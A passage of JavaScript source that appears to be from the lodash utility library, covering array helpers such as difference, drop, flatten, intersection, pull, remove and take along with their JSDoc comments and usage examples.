array = arguments[0],
index = length;
while (index--) {
args[index - 1] = arguments[index];
}
return arrayPush(isArray(array) ? copyArray(array) : [array], baseFlatten(args, 1));
}
/**
* Creates an array of `array` values not included in the other given arrays
* using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
* for equality comparisons. The order and references of result values are
* determined by the first array.
*
* **Note:** Unlike `_.pullAll`, this method returns a new array.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {Array} array The array to inspect.
* @param {...Array} [values] The values to exclude.
* @returns {Array} Returns the new array of filtered values.
* @see _.without, _.xor
* @example
*
* _.difference([2, 1], [2, 3]);
* // => [1]
*/
var difference = baseRest(function(array, values) {
return isArrayLikeObject(array)
? baseDifference(array, baseFlatten(values, 1, isArrayLikeObject, true))
: [];
});
/**
* This method is like `_.difference` except that it accepts `iteratee` which
* is invoked for each element of `array` and `values` to generate the criterion
* by which they're compared. The order and references of result values are
* determined by the first array. The iteratee is invoked with one argument:
* (value).
*
* **Note:** Unlike `_.pullAllBy`, this method returns a new array.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to inspect.
* @param {...Array} [values] The values to exclude.
* @param {Function} [iteratee=_.identity] The iteratee invoked per element.
* @returns {Array} Returns the new array of filtered values.
* @example
*
* _.differenceBy([2.1, 1.2], [2.3, 3.4], Math.floor);
* // => [1.2]
*
* // The `_.property` iteratee shorthand.
* _.differenceBy([{ 'x': 2 }, { 'x': 1 }], [{ 'x': 1 }], 'x');
* // => [{ 'x': 2 }]
*/
var differenceBy = baseRest(function(array, values) {
var iteratee = last(values);
if (isArrayLikeObject(iteratee)) {
iteratee = undefined;
}
return isArrayLikeObject(array)
? baseDifference(array, baseFlatten(values, 1, isArrayLikeObject, true), getIteratee(iteratee, 2))
: [];
});
/**
* This method is like `_.difference` except that it accepts `comparator`
* which is invoked to compare elements of `array` to `values`. The order and
* references of result values are determined by the first array. The comparator
* is invoked with two arguments: (arrVal, othVal).
*
* **Note:** Unlike `_.pullAllWith`, this method returns a new array.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to inspect.
* @param {...Array} [values] The values to exclude.
* @param {Function} [comparator] The comparator invoked per element.
* @returns {Array} Returns the new array of filtered values.
* @example
*
* var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
*
* _.differenceWith(objects, [{ 'x': 1, 'y': 2 }], _.isEqual);
* // => [{ 'x': 2, 'y': 1 }]
*/
var differenceWith = baseRest(function(array, values) {
var comparator = last(values);
if (isArrayLikeObject(comparator)) {
comparator = undefined;
}
return isArrayLikeObject(array)
? baseDifference(array, baseFlatten(values, 1, isArrayLikeObject, true), undefined, comparator)
: [];
});
/**
* Creates a slice of `array` with `n` elements dropped from the beginning.
*
* @static
* @memberOf _
* @since 0.5.0
* @category Array
* @param {Array} array The array to query.
* @param {number} [n=1] The number of elements to drop.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {Array} Returns the slice of `array`.
* @example
*
* _.drop([1, 2, 3]);
* // => [2, 3]
*
* _.drop([1, 2, 3], 2);
* // => [3]
*
* _.drop([1, 2, 3], 5);
* // => []
*
* _.drop([1, 2, 3], 0);
* // => [1, 2, 3]
*/
function drop(array, n, guard) {
var length = array == null ? 0 : array.length;
if (!length) {
return [];
}
n = (guard || n === undefined) ? 1 : toInteger(n);
return baseSlice(array, n < 0 ? 0 : n, length);
}
/**
* Creates a slice of `array` with `n` elements dropped from the end.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Array
* @param {Array} array The array to query.
* @param {number} [n=1] The number of elements to drop.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {Array} Returns the slice of `array`.
* @example
*
* _.dropRight([1, 2, 3]);
* // => [1, 2]
*
* _.dropRight([1, 2, 3], 2);
* // => [1]
*
* _.dropRight([1, 2, 3], 5);
* // => []
*
* _.dropRight([1, 2, 3], 0);
* // => [1, 2, 3]
*/
function dropRight(array, n, guard) {
var length = array == null ? 0 : array.length;
if (!length) {
return [];
}
n = (guard || n === undefined) ? 1 : toInteger(n);
n = length - n;
return baseSlice(array, 0, n < 0 ? 0 : n);
}
/**
* Creates a slice of `array` excluding elements dropped from the end.
* Elements are dropped until `predicate` returns falsey. The predicate is
* invoked with three arguments: (value, index, array).
*
* @static
* @memberOf _
* @since 3.0.0
* @category Array
* @param {Array} array The array to query.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @returns {Array} Returns the slice of `array`.
* @example
*
* var users = [
* { 'user': 'barney', 'active': true },
* { 'user': 'fred', 'active': false },
* { 'user': 'pebbles', 'active': false }
* ];
*
* _.dropRightWhile(users, function(o) { return !o.active; });
* // => objects for ['barney']
*
* // The `_.matches` iteratee shorthand.
* _.dropRightWhile(users, { 'user': 'pebbles', 'active': false });
* // => objects for ['barney', 'fred']
*
* // The `_.matchesProperty` iteratee shorthand.
* _.dropRightWhile(users, ['active', false]);
* // => objects for ['barney']
*
* // The `_.property` iteratee shorthand.
* _.dropRightWhile(users, 'active');
* // => objects for ['barney', 'fred', 'pebbles']
*/
function dropRightWhile(array, predicate) {
return (array && array.length)
? baseWhile(array, getIteratee(predicate, 3), true, true)
: [];
}
/**
* Creates a slice of `array` excluding elements dropped from the beginning.
* Elements are dropped until `predicate` returns falsey. The predicate is
* invoked with three arguments: (value, index, array).
*
* @static
* @memberOf _
* @since 3.0.0
* @category Array
* @param {Array} array The array to query.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @returns {Array} Returns the slice of `array`.
* @example
*
* var users = [
* { 'user': 'barney', 'active': false },
* { 'user': 'fred', 'active': false },
* { 'user': 'pebbles', 'active': true }
* ];
*
* _.dropWhile(users, function(o) { return !o.active; });
* // => objects for ['pebbles']
*
* // The `_.matches` iteratee shorthand.
* _.dropWhile(users, { 'user': 'barney', 'active': false });
* // => objects for ['fred', 'pebbles']
*
* // The `_.matchesProperty` iteratee shorthand.
* _.dropWhile(users, ['active', false]);
* // => objects for ['pebbles']
*
* // The `_.property` iteratee shorthand.
* _.dropWhile(users, 'active');
* // => objects for ['barney', 'fred', 'pebbles']
*/
function dropWhile(array, predicate) {
return (array && array.length)
? baseWhile(array, getIteratee(predicate, 3), true)
: [];
}
/**
* Fills elements of `array` with `value` from `start` up to, but not
* including, `end`.
*
* **Note:** This method mutates `array`.
*
* @static
* @memberOf _
* @since 3.2.0
* @category Array
* @param {Array} array The array to fill.
* @param {*} value The value to fill `array` with.
* @param {number} [start=0] The start position.
* @param {number} [end=array.length] The end position.
* @returns {Array} Returns `array`.
* @example
*
* var array = [1, 2, 3];
*
* _.fill(array, 'a');
* console.log(array);
* // => ['a', 'a', 'a']
*
* _.fill(Array(3), 2);
* // => [2, 2, 2]
*
* _.fill([4, 6, 8, 10], '*', 1, 3);
* // => [4, '*', '*', 10]
*/
function fill(array, value, start, end) {
var length = array == null ? 0 : array.length;
if (!length) {
return [];
}
if (start && typeof start != 'number' && isIterateeCall(array, value, start)) {
start = 0;
end = length;
}
return baseFill(array, value, start, end);
}
/**
* This method is like `_.find` except that it returns the index of the first
* element `predicate` returns truthy for instead of the element itself.
*
* @static
* @memberOf _
* @since 1.1.0
* @category Array
* @param {Array} array The array to inspect.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @param {number} [fromIndex=0] The index to search from.
* @returns {number} Returns the index of the found element, else `-1`.
* @example
*
* var users = [
* { 'user': 'barney', 'active': false },
* { 'user': 'fred', 'active': false },
* { 'user': 'pebbles', 'active': true }
* ];
*
* _.findIndex(users, function(o) { return o.user == 'barney'; });
* // => 0
*
* // The `_.matches` iteratee shorthand.
* _.findIndex(users, { 'user': 'fred', 'active': false });
* // => 1
*
* // The `_.matchesProperty` iteratee shorthand.
* _.findIndex(users, ['active', false]);
* // => 0
*
* // The `_.property` iteratee shorthand.
* _.findIndex(users, 'active');
* // => 2
*/
function findIndex(array, predicate, fromIndex) {
var length = array == null ? 0 : array.length;
if (!length) {
return -1;
}
var index = fromIndex == null ? 0 : toInteger(fromIndex);
if (index < 0) {
index = nativeMax(length + index, 0);
}
return baseFindIndex(array, getIteratee(predicate, 3), index);
}
/**
* This method is like `_.findIndex` except that it iterates over elements
* of `collection` from right to left.
*
* @static
* @memberOf _
* @since 2.0.0
* @category Array
* @param {Array} array The array to inspect.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @param {number} [fromIndex=array.length-1] The index to search from.
* @returns {number} Returns the index of the found element, else `-1`.
* @example
*
* var users = [
* { 'user': 'barney', 'active': true },
* { 'user': 'fred', 'active': false },
* { 'user': 'pebbles', 'active': false }
* ];
*
* _.findLastIndex(users, function(o) { return o.user == 'pebbles'; });
* // => 2
*
* // The `_.matches` iteratee shorthand.
* _.findLastIndex(users, { 'user': 'barney', 'active': true });
* // => 0
*
* // The `_.matchesProperty` iteratee shorthand.
* _.findLastIndex(users, ['active', false]);
* // => 2
*
* // The `_.property` iteratee shorthand.
* _.findLastIndex(users, 'active');
* // => 0
*/
function findLastIndex(array, predicate, fromIndex) {
var length = array == null ? 0 : array.length;
if (!length) {
return -1;
}
var index = length - 1;
if (fromIndex !== undefined) {
index = toInteger(fromIndex);
index = fromIndex < 0
? nativeMax(length + index, 0)
: nativeMin(index, length - 1);
}
return baseFindIndex(array, getIteratee(predicate, 3), index, true);
}
/**
* Flattens `array` a single level deep.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {Array} array The array to flatten.
* @returns {Array} Returns the new flattened array.
* @example
*
* _.flatten([1, [2, [3, [4]], 5]]);
* // => [1, 2, [3, [4]], 5]
*/
function flatten(array) {
var length = array == null ? 0 : array.length;
return length ? baseFlatten(array, 1) : [];
}
/**
* Recursively flattens `array`.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Array
* @param {Array} array The array to flatten.
* @returns {Array} Returns the new flattened array.
* @example
*
* _.flattenDeep([1, [2, [3, [4]], 5]]);
* // => [1, 2, 3, 4, 5]
*/
function flattenDeep(array) {
var length = array == null ? 0 : array.length;
return length ? baseFlatten(array, INFINITY) : [];
}
/**
* Recursively flatten `array` up to `depth` times.
*
* @static
* @memberOf _
* @since 4.4.0
* @category Array
* @param {Array} array The array to flatten.
* @param {number} [depth=1] The maximum recursion depth.
* @returns {Array} Returns the new flattened array.
* @example
*
* var array = [1, [2, [3, [4]], 5]];
*
* _.flattenDepth(array, 1);
* // => [1, 2, [3, [4]], 5]
*
* _.flattenDepth(array, 2);
* // => [1, 2, 3, [4], 5]
*/
function flattenDepth(array, depth) {
var length = array == null ? 0 : array.length;
if (!length) {
return [];
}
depth = depth === undefined ? 1 : toInteger(depth);
return baseFlatten(array, depth);
}
/**
* The inverse of `_.toPairs`; this method returns an object composed
* from key-value `pairs`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} pairs The key-value pairs.
* @returns {Object} Returns the new object.
* @example
*
* _.fromPairs([['a', 1], ['b', 2]]);
* // => { 'a': 1, 'b': 2 }
*/
function fromPairs(pairs) {
var index = -1,
length = pairs == null ? 0 : pairs.length,
result = {};
while (++index < length) {
var pair = pairs[index];
result[pair[0]] = pair[1];
}
return result;
}
/**
* Gets the first element of `array`.
*
* @static
* @memberOf _
* @since 0.1.0
* @alias first
* @category Array
* @param {Array} array The array to query.
* @returns {*} Returns the first element of `array`.
* @example
*
* _.head([1, 2, 3]);
* // => 1
*
* _.head([]);
* // => undefined
*/
function head(array) {
return (array && array.length) ? array[0] : undefined;
}
/**
* Gets the index at which the first occurrence of `value` is found in `array`
* using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
* for equality comparisons. If `fromIndex` is negative, it's used as the
* offset from the end of `array`.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {Array} array The array to inspect.
* @param {*} value The value to search for.
* @param {number} [fromIndex=0] The index to search from.
* @returns {number} Returns the index of the matched value, else `-1`.
* @example
*
* _.indexOf([1, 2, 1, 2], 2);
* // => 1
*
* // Search from the `fromIndex`.
* _.indexOf([1, 2, 1, 2], 2, 2);
* // => 3
*/
function indexOf(array, value, fromIndex) {
var length = array == null ? 0 : array.length;
if (!length) {
return -1;
}
var index = fromIndex == null ? 0 : toInteger(fromIndex);
if (index < 0) {
index = nativeMax(length + index, 0);
}
return baseIndexOf(array, value, index);
}
/**
* Gets all but the last element of `array`.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {Array} array The array to query.
* @returns {Array} Returns the slice of `array`.
* @example
*
* _.initial([1, 2, 3]);
* // => [1, 2]
*/
function initial(array) {
var length = array == null ? 0 : array.length;
return length ? baseSlice(array, 0, -1) : [];
}
/**
* Creates an array of unique values that are included in all given arrays
* using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
* for equality comparisons. The order and references of result values are
* determined by the first array.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {...Array} [arrays] The arrays to inspect.
* @returns {Array} Returns the new array of intersecting values.
* @example
*
* _.intersection([2, 1], [2, 3]);
* // => [2]
*/
var intersection = baseRest(function(arrays) {
var mapped = arrayMap(arrays, castArrayLikeObject);
return (mapped.length && mapped[0] === arrays[0])
? baseIntersection(mapped)
: [];
});
/**
* This method is like `_.intersection` except that it accepts `iteratee`
* which is invoked for each element of each `arrays` to generate the criterion
* by which they're compared. The order and references of result values are
* determined by the first array. The iteratee is invoked with one argument:
* (value).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {...Array} [arrays] The arrays to inspect.
* @param {Function} [iteratee=_.identity] The iteratee invoked per element.
* @returns {Array} Returns the new array of intersecting values.
* @example
*
* _.intersectionBy([2.1, 1.2], [2.3, 3.4], Math.floor);
* // => [2.1]
*
* // The `_.property` iteratee shorthand.
* _.intersectionBy([{ 'x': 1 }], [{ 'x': 2 }, { 'x': 1 }], 'x');
* // => [{ 'x': 1 }]
*/
var intersectionBy = baseRest(function(arrays) {
var iteratee = last(arrays),
mapped = arrayMap(arrays, castArrayLikeObject);
if (iteratee === last(mapped)) {
iteratee = undefined;
} else {
mapped.pop();
}
return (mapped.length && mapped[0] === arrays[0])
? baseIntersection(mapped, getIteratee(iteratee, 2))
: [];
});
/**
* This method is like `_.intersection` except that it accepts `comparator`
* which is invoked to compare elements of `arrays`. The order and references
* of result values are determined by the first array. The comparator is
* invoked with two arguments: (arrVal, othVal).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {...Array} [arrays] The arrays to inspect.
* @param {Function} [comparator] The comparator invoked per element.
* @returns {Array} Returns the new array of intersecting values.
* @example
*
* var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
* var others = [{ 'x': 1, 'y': 1 }, { 'x': 1, 'y': 2 }];
*
* _.intersectionWith(objects, others, _.isEqual);
* // => [{ 'x': 1, 'y': 2 }]
*/
var intersectionWith = baseRest(function(arrays) {
var comparator = last(arrays),
mapped = arrayMap(arrays, castArrayLikeObject);
comparator = typeof comparator == 'function' ? comparator : undefined;
if (comparator) {
mapped.pop();
}
return (mapped.length && mapped[0] === arrays[0])
? baseIntersection(mapped, undefined, comparator)
: [];
});
/**
* Converts all elements in `array` into a string separated by `separator`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to convert.
* @param {string} [separator=','] The element separator.
* @returns {string} Returns the joined string.
* @example
*
* _.join(['a', 'b', 'c'], '~');
* // => 'a~b~c'
*/
function join(array, separator) {
return array == null ? '' : nativeJoin.call(array, separator);
}
/**
* Gets the last element of `array`.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {Array} array The array to query.
* @returns {*} Returns the last element of `array`.
* @example
*
* _.last([1, 2, 3]);
* // => 3
*/
function last(array) {
var length = array == null ? 0 : array.length;
return length ? array[length - 1] : undefined;
}
/**
* This method is like `_.indexOf` except that it iterates over elements of
* `array` from right to left.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {Array} array The array to inspect.
* @param {*} value The value to search for.
* @param {number} [fromIndex=array.length-1] The index to search from.
* @returns {number} Returns the index of the matched value, else `-1`.
* @example
*
* _.lastIndexOf([1, 2, 1, 2], 2);
* // => 3
*
* // Search from the `fromIndex`.
* _.lastIndexOf([1, 2, 1, 2], 2, 2);
* // => 1
*/
function lastIndexOf(array, value, fromIndex) {
var length = array == null ? 0 : array.length;
if (!length) {
return -1;
}
var index = length;
if (fromIndex !== undefined) {
index = toInteger(fromIndex);
index = index < 0 ? nativeMax(length + index, 0) : nativeMin(index, length - 1);
}
return value === value
? strictLastIndexOf(array, value, index)
: baseFindIndex(array, baseIsNaN, index, true);
}
/**
* Gets the element at index `n` of `array`. If `n` is negative, the nth
* element from the end is returned.
*
* @static
* @memberOf _
* @since 4.11.0
* @category Array
* @param {Array} array The array to query.
* @param {number} [n=0] The index of the element to return.
* @returns {*} Returns the nth element of `array`.
* @example
*
* var array = ['a', 'b', 'c', 'd'];
*
* _.nth(array, 1);
* // => 'b'
*
* _.nth(array, -2);
* // => 'c';
*/
function nth(array, n) {
return (array && array.length) ? baseNth(array, toInteger(n)) : undefined;
}
/**
* Removes all given values from `array` using
* [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
* for equality comparisons.
*
* **Note:** Unlike `_.without`, this method mutates `array`. Use `_.remove`
* to remove elements from an array by predicate.
*
* @static
* @memberOf _
* @since 2.0.0
* @category Array
* @param {Array} array The array to modify.
* @param {...*} [values] The values to remove.
* @returns {Array} Returns `array`.
* @example
*
* var array = ['a', 'b', 'c', 'a', 'b', 'c'];
*
* _.pull(array, 'a', 'c');
* console.log(array);
* // => ['b', 'b']
*/
var pull = baseRest(pullAll);
/**
* This method is like `_.pull` except that it accepts an array of values to remove.
*
* **Note:** Unlike `_.difference`, this method mutates `array`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to modify.
* @param {Array} values The values to remove.
* @returns {Array} Returns `array`.
* @example
*
* var array = ['a', 'b', 'c', 'a', 'b', 'c'];
*
* _.pullAll(array, ['a', 'c']);
* console.log(array);
* // => ['b', 'b']
*/
function pullAll(array, values) {
return (array && array.length && values && values.length)
? basePullAll(array, values)
: array;
}
/**
* This method is like `_.pullAll` except that it accepts `iteratee` which is
* invoked for each element of `array` and `values` to generate the criterion
* by which they're compared. The iteratee is invoked with one argument: (value).
*
* **Note:** Unlike `_.differenceBy`, this method mutates `array`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to modify.
* @param {Array} values The values to remove.
* @param {Function} [iteratee=_.identity] The iteratee invoked per element.
* @returns {Array} Returns `array`.
* @example
*
* var array = [{ 'x': 1 }, { 'x': 2 }, { 'x': 3 }, { 'x': 1 }];
*
* _.pullAllBy(array, [{ 'x': 1 }, { 'x': 3 }], 'x');
* console.log(array);
* // => [{ 'x': 2 }]
*/
function pullAllBy(array, values, iteratee) {
return (array && array.length && values && values.length)
? basePullAll(array, values, getIteratee(iteratee, 2))
: array;
}
/**
* This method is like `_.pullAll` except that it accepts `comparator` which
* is invoked to compare elements of `array` to `values`. The comparator is
* invoked with two arguments: (arrVal, othVal).
*
* **Note:** Unlike `_.differenceWith`, this method mutates `array`.
*
* @static
* @memberOf _
* @since 4.6.0
* @category Array
* @param {Array} array The array to modify.
* @param {Array} values The values to remove.
* @param {Function} [comparator] The comparator invoked per element.
* @returns {Array} Returns `array`.
* @example
*
* var array = [{ 'x': 1, 'y': 2 }, { 'x': 3, 'y': 4 }, { 'x': 5, 'y': 6 }];
*
* _.pullAllWith(array, [{ 'x': 3, 'y': 4 }], _.isEqual);
* console.log(array);
* // => [{ 'x': 1, 'y': 2 }, { 'x': 5, 'y': 6 }]
*/
function pullAllWith(array, values, comparator) {
return (array && array.length && values && values.length)
? basePullAll(array, values, undefined, comparator)
: array;
}
/**
* Removes elements from `array` corresponding to `indexes` and returns an
* array of removed elements.
*
* **Note:** Unlike `_.at`, this method mutates `array`.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Array
* @param {Array} array The array to modify.
* @param {...(number|number[])} [indexes] The indexes of elements to remove.
* @returns {Array} Returns the new array of removed elements.
* @example
*
* var array = ['a', 'b', 'c', 'd'];
* var pulled = _.pullAt(array, [1, 3]);
*
* console.log(array);
* // => ['a', 'c']
*
* console.log(pulled);
* // => ['b', 'd']
*/
var pullAt = flatRest(function(array, indexes) {
var length = array == null ? 0 : array.length,
result = baseAt(array, indexes);
basePullAt(array, arrayMap(indexes, function(index) {
return isIndex(index, length) ? +index : index;
}).sort(compareAscending));
return result;
});
/**
* Removes all elements from `array` that `predicate` returns truthy for
* and returns an array of the removed elements. The predicate is invoked
* with three arguments: (value, index, array).
*
* **Note:** Unlike `_.filter`, this method mutates `array`. Use `_.pull`
* to pull elements from an array by value.
*
* @static
* @memberOf _
* @since 2.0.0
* @category Array
* @param {Array} array The array to modify.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @returns {Array} Returns the new array of removed elements.
* @example
*
* var array = [1, 2, 3, 4];
* var evens = _.remove(array, function(n) {
* return n % 2 == 0;
* });
*
* console.log(array);
* // => [1, 3]
*
* console.log(evens);
* // => [2, 4]
*/
function remove(array, predicate) {
var result = [];
if (!(array && array.length)) {
return result;
}
var index = -1,
indexes = [],
length = array.length;
predicate = getIteratee(predicate, 3);
while (++index < length) {
var value = array[index];
if (predicate(value, index, array)) {
result.push(value);
indexes.push(index);
}
}
basePullAt(array, indexes);
return result;
}
/**
* Reverses `array` so that the first element becomes the last, the second
* element becomes the second to last, and so on.
*
* **Note:** This method mutates `array` and is based on
* [`Array#reverse`](https://mdn.io/Array/reverse).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to modify.
* @returns {Array} Returns `array`.
* @example
*
* var array = [1, 2, 3];
*
* _.reverse(array);
* // => [3, 2, 1]
*
* console.log(array);
* // => [3, 2, 1]
*/
function reverse(array) {
return array == null ? array : nativeReverse.call(array);
}
/**
* Creates a slice of `array` from `start` up to, but not including, `end`.
*
* **Note:** This method is used instead of
* [`Array#slice`](https://mdn.io/Array/slice) to ensure dense arrays are
* returned.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Array
* @param {Array} array The array to slice.
* @param {number} [start=0] The start position.
* @param {number} [end=array.length] The end position.
* @returns {Array} Returns the slice of `array`.
*/
function slice(array, start, end) {
var length = array == null ? 0 : array.length;
if (!length) {
return [];
}
if (end && typeof end != 'number' && isIterateeCall(array, start, end)) {
start = 0;
end = length;
}
else {
start = start == null ? 0 : toInteger(start);
end = end === undefined ? length : toInteger(end);
}
return baseSlice(array, start, end);
}
/**
* Uses a binary search to determine the lowest index at which `value`
* should be inserted into `array` in order to maintain its sort order.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {Array} array The sorted array to inspect.
* @param {*} value The value to evaluate.
* @returns {number} Returns the index at which `value` should be inserted
* into `array`.
* @example
*
* _.sortedIndex([30, 50], 40);
* // => 1
*/
function sortedIndex(array, value) {
return baseSortedIndex(array, value);
}
/**
* This method is like `_.sortedIndex` except that it accepts `iteratee`
* which is invoked for `value` and each element of `array` to compute their
* sort ranking. The iteratee is invoked with one argument: (value).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The sorted array to inspect.
* @param {*} value The value to evaluate.
* @param {Function} [iteratee=_.identity] The iteratee invoked per element.
* @returns {number} Returns the index at which `value` should be inserted
* into `array`.
* @example
*
* var objects = [{ 'x': 4 }, { 'x': 5 }];
*
* _.sortedIndexBy(objects, { 'x': 4 }, function(o) { return o.x; });
* // => 0
*
* // The `_.property` iteratee shorthand.
* _.sortedIndexBy(objects, { 'x': 4 }, 'x');
* // => 0
*/
function sortedIndexBy(array, value, iteratee) {
return baseSortedIndexBy(array, value, getIteratee(iteratee, 2));
}
/**
* This method is like `_.indexOf` except that it performs a binary
* search on a sorted `array`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to inspect.
* @param {*} value The value to search for.
* @returns {number} Returns the index of the matched value, else `-1`.
* @example
*
* _.sortedIndexOf([4, 5, 5, 5, 6], 5);
* // => 1
*/
function sortedIndexOf(array, value) {
var length = array == null ? 0 : array.length;
if (length) {
var index = baseSortedIndex(array, value);
if (index < length && eq(array[index], value)) {
return index;
}
}
return -1;
}
/**
* This method is like `_.sortedIndex` except that it returns the highest
* index at which `value` should be inserted into `array` in order to
* maintain its sort order.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Array
* @param {Array} array The sorted array to inspect.
* @param {*} value The value to evaluate.
* @returns {number} Returns the index at which `value` should be inserted
* into `array`.
* @example
*
* _.sortedLastIndex([4, 5, 5, 5, 6], 5);
* // => 4
*/
function sortedLastIndex(array, value) {
return baseSortedIndex(array, value, true);
}
/**
* This method is like `_.sortedLastIndex` except that it accepts `iteratee`
* which is invoked for `value` and each element of `array` to compute their
* sort ranking. The iteratee is invoked with one argument: (value).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The sorted array to inspect.
* @param {*} value The value to evaluate.
* @param {Function} [iteratee=_.identity] The iteratee invoked per element.
* @returns {number} Returns the index at which `value` should be inserted
* into `array`.
* @example
*
* var objects = [{ 'x': 4 }, { 'x': 5 }];
*
* _.sortedLastIndexBy(objects, { 'x': 4 }, function(o) { return o.x; });
* // => 1
*
* // The `_.property` iteratee shorthand.
* _.sortedLastIndexBy(objects, { 'x': 4 }, 'x');
* // => 1
*/
function sortedLastIndexBy(array, value, iteratee) {
return baseSortedIndexBy(array, value, getIteratee(iteratee, 2), true);
}
/**
* This method is like `_.lastIndexOf` except that it performs a binary
* search on a sorted `array`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to inspect.
* @param {*} value The value to search for.
* @returns {number} Returns the index of the matched value, else `-1`.
* @example
*
* _.sortedLastIndexOf([4, 5, 5, 5, 6], 5);
* // => 3
*/
function sortedLastIndexOf(array, value) {
var length = array == null ? 0 : array.length;
if (length) {
var index = baseSortedIndex(array, value, true) - 1;
if (eq(array[index], value)) {
return index;
}
}
return -1;
}
/**
* This method is like `_.uniq` except that it's designed and optimized
* for sorted arrays.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to inspect.
* @returns {Array} Returns the new duplicate free array.
* @example
*
* _.sortedUniq([1, 1, 2]);
* // => [1, 2]
*/
function sortedUniq(array) {
return (array && array.length)
? baseSortedUniq(array)
: [];
}
/**
* This method is like `_.uniqBy` except that it's designed and optimized
* for sorted arrays.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to inspect.
* @param {Function} [iteratee] The iteratee invoked per element.
* @returns {Array} Returns the new duplicate free array.
* @example
*
* _.sortedUniqBy([1.1, 1.2, 2.3, 2.4], Math.floor);
* // => [1.1, 2.3]
*/
function sortedUniqBy(array, iteratee) {
return (array && array.length)
? baseSortedUniq(array, getIteratee(iteratee, 2))
: [];
}
/**
* Gets all but the first element of `array`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to query.
* @returns {Array} Returns the slice of `array`.
* @example
*
* _.tail([1, 2, 3]);
* // => [2, 3]
*/
function tail(array) {
var length = array == null ? 0 : array.length;
return length ? baseSlice(array, 1, length) : [];
}
/**
* Creates a slice of `array` with `n` elements taken from the beginning.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {Array} array The array to query.
* @param {number} [n=1] The number of elements to take.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {Array} Returns the slice of `array`.
* @example
*
* _.take([1, 2, 3]);
* // => [1]
*
* _.take([1, 2, 3], 2);
* // => [1, 2]
*
* _.take([1, 2, 3], 5);
* // => [1, 2, 3]
*
* _.take([1, 2, 3], 0);
* // => []
*/
function take(array, n, guard) {
if (!(array && array.length)) {
return [];
}
n = (guard || n === undefined) ? 1 : toInteger(n);
return baseSlice(array, 0, n < 0 ? 0 : n);
}
/**
* Creates a slice of `array` with `n` elements taken from the end.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Array
* @param {Array} array The array to query.
* @param {number} [n=1] The number of elements to take.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {Array} Returns the slice of `array`.
* @example
*
* _.takeRight([1, 2, 3]);
* // => [3]
*
* _.takeRight([1, 2, 3], 2);
* // => [2, 3]
*
* _.takeRight([1, 2, 3], 5);
* // => [1, 2, 3]
*
* _.takeRight([1, 2, 3], 0);
* // => []
*/
function takeRight(array, n, guard) {
var length = array == null ? 0 : array.length;
if (!length) {
return [];
}
n = (guard || n === undefined) ? 1 : toInteger(n);
n = length - n;
return baseSlice(array, n < 0 ? 0 : n, length);
}
/**
* Creates a slice of `array` with elements taken from the end. Elements are
* taken until `predicate` returns falsey. The predicate is invoked with
* three arguments: (value, index, array).
*
* @static
* @memberOf _
* @since 3.0.0
* @category Array
* @param {Array} array The array to query.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @returns {Array} Returns the slice of `array`.
* @example
*
* var users = [
* { 'user': 'barney', 'active': true },
* { 'user': 'fred', 'active': false },
* { 'user': 'pebbles', 'active': false }
* ];
*
* _.takeRightWhile(users, function(o) { return !o.active; });
* // => objects for ['fred', 'pebbles']
*
* // The `_.matches` iteratee shorthand.
* _.takeRightWhile(users, { 'user': 'pebbles', 'active': false });
* // => objects for ['pebbles']
*
* // The `_.matchesProperty` iteratee shorthand.
* _.takeRightWhile(users, ['active', false]);
* // => objects for ['fred', 'pebbles']
*
* // The `_.property` iteratee shorthand.
* _.takeRightWhile(users, 'active');
* // => []
*/
